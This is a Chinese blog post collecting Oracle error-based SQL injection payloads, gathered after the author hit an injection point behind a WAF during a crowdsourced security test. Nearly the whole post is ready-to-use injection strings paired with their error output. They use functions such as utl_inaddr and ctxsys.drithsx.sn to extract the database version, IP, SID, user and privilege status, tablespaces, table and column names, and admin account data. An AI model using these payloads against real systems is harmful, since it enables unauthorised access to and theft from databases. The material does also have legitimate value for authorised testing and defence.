oracle 无效数字_oracle报错注入payload收集

“还是前两天的众测,遇到了一处oracle注入。于是趁有时间于是收集一些oracle报错注入的payload,以备不时之需”

01

漏洞确认

当输入一个单引号时,系统报错:

72382ee16e01331ece065701fb53042a.png

当输入两个单引号时,系统返回正常信息。

3e9367ff900bcb26dc08b7823004bf9a.png

很确定这里存在sql注入,但是由于涉及到一些绕waf的事情,sqlmap没法直接跑出结果,只能手工注入了。

oracle注入我接触的少,于是收集一些oracle报错注入的payload,以备不时之需。

02

payload收集

【1】爆版本号 

方法一:

11111' || utl_inaddr.get_host_name( (select banner from v$version where rownum=1)) -- 报错信息:ORA-29257: 未知的主机 Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production ORA-06512: 在 "SYS.UTL_INADDR", line 4 ORA-06512: 在 "SYS.UTL_INADDR", line 35 ORA-06512: 在 line 1

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

方法二:

11111' and 1=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from du) -- 报错信息:ORA-31011: XML 语法分析失败 ORA-19202: XML 处理 LPX-00110: Warning: 无效的 QName "::Oracle:Database:11g:Enterprise:Edition:Release:11.1.0.7.0:-:Production" (不是名称) Error at line 1 时出错 ORA-06512: 在 "SYS.XMLTYPE", line 310 ORA-06512: 在 line 1

方法三:

111111' and 1=ctxsys.drithsx.sn(1, (select banner from v$version where rownum=1)) – 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1

【2】爆ip: 

1111111' and 1=ctxsys.drithsx.sn(1,(select utl_inaddr.get_host_address from dual)) -- 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 210.35.35.10 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1 

类似的: 

可以爆日志的位置: 

(select member from v$logfile where rownum=1) 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 F:\APP\ADMINISTRATOR\ORADATA\ORCL\REDO03.LOG 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1 

可以爆sid:

(select instance_name from v$instance) 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 orcl 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1 

可以爆当前用户信息:

(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual) 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 NCHD 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1 

判断是不是dba:

(select SYS_CONTEXT ('USERENV', 'ISDBA') from dual) 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 FALSE 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1 

【3】爆表空间(oracle没有数据库这个概念,代替的是:表空间):

11111' and 1=ctxsys.drithsx.sn(1,(SELECT TABLESPACE_NAME FROM(SELECT DBA_TABLESPACES.TABLESPACE_NAME, ROWNUM AS CON FROM DBA_TABLESPACES WHERE ROWNUM <= 1)WHERE CON >=1)) -- 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 SYSTEM 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1 

PS:想要查其他的表空间,只要把数字改一改就好,比如想查第二个表空间则这么写:

111111' and 1=ctxsys.drithsx.sn(1,(SELECT TABLESPACE_NAME FROM(SELECT DBA_TABLESPACES.TABLESPACE_NAME, ROWNUM AS CON FROM DBA_TABLESPACES WHERE ROWNUM <= 2)WHERE CON >=2)) -- 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 SYSAUX 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1 

【4】查表:

11111111' and 1=ctxsys.drithsx.sn(1,(SELECT table_name FROM(SELECT user_tables.table_name, ROWNUM AS CON FROM user_tables WHERE ROWNUM <= 1)WHERE CON >=1)) – 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 QKDDK_140923 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1 

Ps:查第二个表就是这么写:

111111111' and 1=ctxsys.drithsx.sn(1,(SELECT table_name FROM(SELECT user_tables.table_name, ROWNUM AS CON FROM user_tables WHERE ROWNUM <= 2)WHERE CON >=2)) –

【5】查 “ZD_DW” 表字段:

1111111111' and 1=ctxsys.drithsx.sn(1,(SELECT column_name FROM(SELECT user_tab_columns.column_name, ROWNUM AS CON FROM user_tab_columns WHERE ROWNUM <= 1 and table_name='ZD_DW')WHERE CON >=1)) – 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 F1 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1 

【6】查数据:

11111111' and 1=ctxsys.drithsx.sn(1,(SELECT ADMINS_NAME FROM(SELECT TT_ADMINS.ADMINS_NAME, ROWNUM AS CON FROM TT_ADMINS WHERE ROWNUM <= 1)WHERE CON >=1)) – 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 TTADMINS 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1

其他常用报错函数:

dbms_xdb_version.checkin()dbms_xdb_version.uncheckin()dbms_xdb_version.makeversioned()dbms_utility.sqlid_to_sqlhash()UTL_INADDR.get_host_name()UTL_INADDR.get_host_address()

参考文章:

https://blog.csdn.net/niexinming/article/details/48985873?locationNum=10&fps=1https://www.cnblogs.com/-qing-/p/10949562.html
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值